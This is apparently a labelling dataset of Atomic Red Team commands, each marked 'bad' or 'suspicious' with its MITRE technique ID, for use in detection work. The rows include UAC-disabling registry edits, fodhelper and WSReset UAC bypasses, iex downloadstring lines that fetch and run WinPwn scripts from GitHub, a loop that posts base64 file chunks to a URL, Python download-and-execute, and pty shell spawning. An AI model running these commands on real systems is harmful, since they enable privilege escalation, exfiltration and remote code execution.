HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4e78d87e11a5648c403f16b,reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f,reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC using reg.exe,T1548.002,"[""T1548.002""]",windows,0.55,True,"Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e98b524047fc3da0ecfe381f,powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore,powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,UACME Bypass Method 23,T1548.002,"[""T1548.002""]",windows,0.55,True,"Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type:	Dll Hijack

Method: IFileOperation

Target:	\system32\pkgmgr.exe

Component: DismCore.dll

Implementation:	ucmDismMethod

UCM Method:	UacMethodDISM

https://github.com/hfiref0x",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f84e3946b387c1ecbb3f4731,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\cmd.exe"" -technique magic","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\cmd.exe"" -technique magic",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,WinPwn - UAC Magic,T1548.002,"[""T1548.002""]",windows,0.9,False,UAC bypass using Magic technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15f8e20451a450a664f0ba7c,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\calc.exe"" -technique ccmstp","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\calc.exe"" -technique ccmstp",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,WinPwn - UAC Bypass ccmstp technique,T1548.002,"[""T1548.002""]",windows,0.9,False,UAC bypass using ccmstp technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac129ee576a03edc587d7456,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\cmd.exe"" -technique DiskCleanup","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command ""C:\windows\system32\cmd.exe"" -technique DiskCleanup",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,WinPwn - UAC Bypass DiskCleanup technique,T1548.002,"[""T1548.002""]",windows,0.9,False,UAC bypass using DiskCleanup technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3769a7656ae31aa16108a60,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1'),iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,WinPwn - UAC Bypass DccwBypassUAC technique,T1548.002,"[""T1548.002""]",windows,0.9,False,UAC Bypass DccwBypassUAC technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7fc28d93c85cb9150dd9c1e0,$orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force,$orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key,T1548.002,"[""T1548.002""]",windows,0.9,False,"Disable User Account Conrol (UAC) for admin by setting the registry key 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), 
[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), 
[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ec1803501f49ae778db94d4,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key,T1548.002,"[""T1548.002""]",windows,0.55,True,"Disable User Account Conrol (UAC) for admin by setting the registry key 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), 
[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), 
[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
52db562fbf236d863ab5024a,"New-Item #{commandpath} -Force | Out-Null New-ItemProperty -Path #{commandpath} -Name ""DelegateExecute"" -Value """" -Force | Out-Null Set-ItemProperty -Path #{commandpath} -Name ""(default)"" -Value ""#{commandtorun}"" -Force -ErrorAction SilentlyContinue | Out-Null $Process = Start-Process -FilePath ""C:\Windows\System32\WSReset.exe"" -WindowStyle Hidden","New-Item #{commandpath} -Force | Out-Null New-ItemProperty -Path #{commandpath} -Name ""DelegateExecute"" -Value """" -Force | Out-Null Set-ItemProperty -Path #{commandpath} -Name ""(default)"" -Value ""#{commandtorun}"" -Force -ErrorAction SilentlyContinue | Out-Null $Process = Start-Process -FilePath ""C:\Windows\System32\WSReset.exe"" -WindowStyle Hidden",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,UAC Bypass with WSReset Registry Modification,T1548.002,"[""T1548.002""]",windows,0.9,False,"The following UAC bypass is focused on a registry key under ""HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"" that will trigger a command once wsreset.exe runs. 
This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.
If successful, the command to run will spawn off wsreset.exe. 
[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2fb07d5b8d4723dcf6e7294a,Remove-Item #{commandpath} -Recurse -Force,Remove-Item #{commandpath} -Recurse -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,UAC Bypass with WSReset Registry Modification,T1548.002,"[""T1548.002""]",windows,0.55,True,"The following UAC bypass is focused on a registry key under ""HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"" that will trigger a command once wsreset.exe runs. 
This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.
If successful, the command to run will spawn off wsreset.exe. 
[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d46046491ca7dc4ca2528e4f,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC - Switch to the secure desktop when prompting for elevation via registry key,T1548.002,"[""T1548.002""]",windows,0.9,False,"User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. 
This setting ensures that the elevation prompt is only used in secure desktop mode.
Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7922645868016d66683579ae,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force,Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC - Switch to the secure desktop when prompting for elevation via registry key,T1548.002,"[""T1548.002""]",windows,0.55,True,"User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. 
This setting ensures that the elevation prompt is only used in secure desktop mode.
Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c2f88b9769115a0d43a9ae91,"reg add ""HKLM\SOFTWARE\Microsoft\Security Center"" /v UACDisableNotify /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Microsoft\Security Center"" /v UACDisableNotify /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC notification via registry keys,T1548.002,"[""T1548.002""]",windows,0.9,False,This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicio,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f4d19cd39816df1275a8c879,"reg add ""HKLM\SOFTWARE\Microsoft\Security Center"" /v UACDisableNotify /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Microsoft\Security Center"" /v UACDisableNotify /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable UAC notification via registry keys,T1548.002,"[""T1548.002""]",windows,0.55,True,This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicio,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
760db292c5f6b4cd7786a5ec,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable ConsentPromptBehaviorAdmin via registry keys,T1548.002,"[""T1548.002""]",windows,0.9,False,"This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c9c037d3993e2740c0d2936,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,Disable ConsentPromptBehaviorAdmin via registry keys,T1548.002,"[""T1548.002""]",windows,0.55,True,"This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
937edec08eb91da0e74f6443,"reg add ""HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command"" /ve /d ""C:\Windows\System32\calc.exe"" /f reg add ""HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer"" /ve /d "".pwn"" /f echo Triggering fodhelper.exe for potential privilege escalation... start fodhelper.exe","reg add ""HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command"" /ve /d ""C:\Windows\System32\calc.exe"" /f reg add ""HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer"" /ve /d "".pwn"" /f echo Triggering fodhelper.exe for potential privilege escalation... start fodhelper.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,UAC bypassed by Utilizing ProgIDs registry.,T1548.002,"[""T1548.002""]",windows,0.9,False,"This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
63b8a598c2f73440bb7c1e1e,"reg delete ""HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command"" /ve /f reg delete ""HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer"" /ve /f","reg delete ""HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command"" /ve /f reg delete ""HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer"" /ve /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1548.002/T1548.002.yaml,UAC bypassed by Utilizing ProgIDs registry.,T1548.002,"[""T1548.002""]",windows,0.55,True,"This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9bc7f37283e4b0b9195a21ee,%windir%\system32\inetsrv\appcmd.exe install module /name:#{module_name} /image:#{dll_path},%windir%\system32\inetsrv\appcmd.exe install module /name:#{module_name} /image:#{dll_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.004/T1505.004.yaml,Install IIS Module using AppCmd.exe,T1505.004,"[""T1505.004""]",windows,0.9,False,"The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using AppCmd.exe.
[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-mo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec99c2a4ae700b193a835da4,%windir%\system32\inetsrv\appcmd.exe uninstall module #{module_name},%windir%\system32\inetsrv\appcmd.exe uninstall module #{module_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.004/T1505.004.yaml,Install IIS Module using AppCmd.exe,T1505.004,"[""T1505.004""]",windows,0.55,True,"The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using AppCmd.exe.
[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-mo",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0638c2a57f0b229b677ad63,New-WebGlobalModule -Name #{module_name} -Image #{dll_path},New-WebGlobalModule -Name #{module_name} -Image #{dll_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.004/T1505.004.yaml,Install IIS Module using PowerShell Cmdlet New-WebGlobalModule,T1505.004,"[""T1505.004""]",windows,0.9,False,"The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using New-WebGlobalModule.
[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-w",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05d9e41b48482ce65dd1d336,Remove-WebGlobalModule -Name #{module_name},Remove-WebGlobalModule -Name #{module_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.004/T1505.004.yaml,Install IIS Module using PowerShell Cmdlet New-WebGlobalModule,T1505.004,"[""T1505.004""]",windows,0.55,True,"The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.
This atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).
A successful execution will install a module into IIS using New-WebGlobalModule.
[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-w",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5be5e2266005b1376353c7cc,cd #{folder_path}; split -b 5000000 #{file_name} ls -l #{folder_path},cd #{folder_path}; split -b 5000000 #{file_name} ls -l #{folder_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1030/T1030.yaml,Data Transfer Size Limits,T1030,"[""T1030""]","macos,linux",0.9,False,"Take a file/directory, split it into 5Mb chunks
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e317c25626132ce546edffdd,if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;,if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi;,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1030/T1030.yaml,Data Transfer Size Limits,T1030,"[""T1030""]","macos,linux",0.55,True,"Take a file/directory, split it into 5Mb chunks
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a2d63d088f8d4c67483e5532,"$file = [System.IO.File]::OpenRead(#{source_file_path}) $chunkSize = #{chunk_size} * 1KB $buffer = New-Object Byte[] $chunkSize while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) { $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead) Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk } $file.Close()","$file = [System.IO.File]::OpenRead(#{source_file_path}) $chunkSize = #{chunk_size} * 1KB $buffer = New-Object Byte[] $chunkSize while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) { $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead) Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk } $file.Close()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1030/T1030.yaml,Network-Based Data Transfer in Small Chunks,T1030,"[""T1030""]",windows,0.9,False,Simulate transferring data over a network in small chunks to evade detection.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e372927103297975e1b92b7,"Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 if (Test-Path ""C:\Users\Default\AppData\Local\Temp\hello.log"") { Remove-Item ""C:\Users\Default\AppData\Local\Temp\hello.log"" -Force; Write-Host ""[+] hello.log removed."" }","Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 if (Test-Path ""C:\Users\Default\AppData\Local\Temp\hello.log"") { Remove-Item ""C:\Users\Default\AppData\Local\Temp\hello.log"" -Force; Write-Host ""[+] hello.log removed."" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.007/T1027.007.yaml,Dynamic API Resolution-Ninja-syscall,T1027.007,"[""T1027.007""]",windows,0.9,False,"This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cadc62f76dccb533c9f56527,"if (Test-Path ""C:\Users\Default\AppData\Local\Temp\hello.log"") { Remove-Item ""C:\Users\Default\AppData\Local\Temp\hello.log"" -Force; Write-Host ""[+] hello.log removed."" }","if (Test-Path ""C:\Users\Default\AppData\Local\Temp\hello.log"") { Remove-Item ""C:\Users\Default\AppData\Local\Temp\hello.log"" -Force; Write-Host ""[+] hello.log removed."" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.007/T1027.007.yaml,Dynamic API Resolution-Ninja-syscall,T1027.007,"[""T1027.007""]",windows,0.55,True,"This test calls NtCreateFile via API hashing and dynamic syscall resolution. I have dubbed this particular combination of techniques 'Ninja-syscall'. When successful, a new file named 'hello.log' will be created in the default user's temporary folder, which is a common location for a dropper.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2752334094c52d5b10b413f8,"which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = ""#{script_url}"";malicious_command = ""#{executor} #{payload_file_name} #{script_args}"";session = requests.session();source = session.get(url).content;fd = open(""#{payload_file_name}"", ""wb+"");fd.write(source);fd.close();os.system(malicious_command)'","which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = ""#{script_url}"";malicious_command = ""#{executor} #{payload_file_name} #{script_args}"";session = requests.session();source = session.get(url).content;fd = open(""#{payload_file_name}"", ""wb+"");fd.write(source);fd.close();os.system(malicious_command)'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.006/T1059.006.yaml,Execute shell script via python's command mode arguement,T1059.006,"[""T1059.006""]",linux,0.9,False,Download and execute shell script and write to file then execute locally using Python -c (command mode),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1173b08338346bbc98228ea,rm #{payload_file_name} pip-autoremove pypykatz >nul 2> nul,rm #{payload_file_name} pip-autoremove pypykatz >nul 2> nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.006/T1059.006.yaml,Execute shell script via python's command mode arguement,T1059.006,"[""T1059.006""]",linux,0.55,True,Download and execute shell script and write to file then execute locally using Python -c (command mode),unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a691bb4bd569cb215b6a4028,rm #{python_script_name} #{payload_file_name},rm #{python_script_name} #{payload_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.006/T1059.006.yaml,Execute Python via scripts,T1059.006,"[""T1059.006""]",linux,0.55,True,Create Python file (.py) that downloads and executes shell script via executor arguments,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
878ddfd5a38f3da0b87c6694,rm #{python_binary_name} #{python_script_name} #{payload_file_name},rm #{python_binary_name} #{python_script_name} #{payload_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.006/T1059.006.yaml,Execute Python via Python executables,T1059.006,"[""T1059.006""]",linux,0.55,True,"Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0936d0460b2a21c08c78ba46,"which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c ""import pty;pty.spawn('/bin/sh')"" exit $which_python -c ""import pty;pty.spawn('/bin/bash')"" exit","which_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c ""import pty;pty.spawn('/bin/sh')"" exit $which_python -c ""import pty;pty.spawn('/bin/bash')"" exit",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.006/T1059.006.yaml,Python pty module and spawn function used to spawn sh or bash,T1059.006,"[""T1059.006""]",linux,0.9,False,"Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb595412dc9cedf8664474df,dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data,dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.001/T1027.001.yaml,Pad Binary to Change Hash - Linux/macOS dd,T1027.001,"[""T1027.001""]","linux,macos",0.9,False,"Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ac083b1678b32206100de0d,rm #{file_to_pad},rm #{file_to_pad},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.001/T1027.001.yaml,Pad Binary to Change Hash - Linux/macOS dd,T1027.001,"[""T1027.001""]","linux,macos",0.55,True,"Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
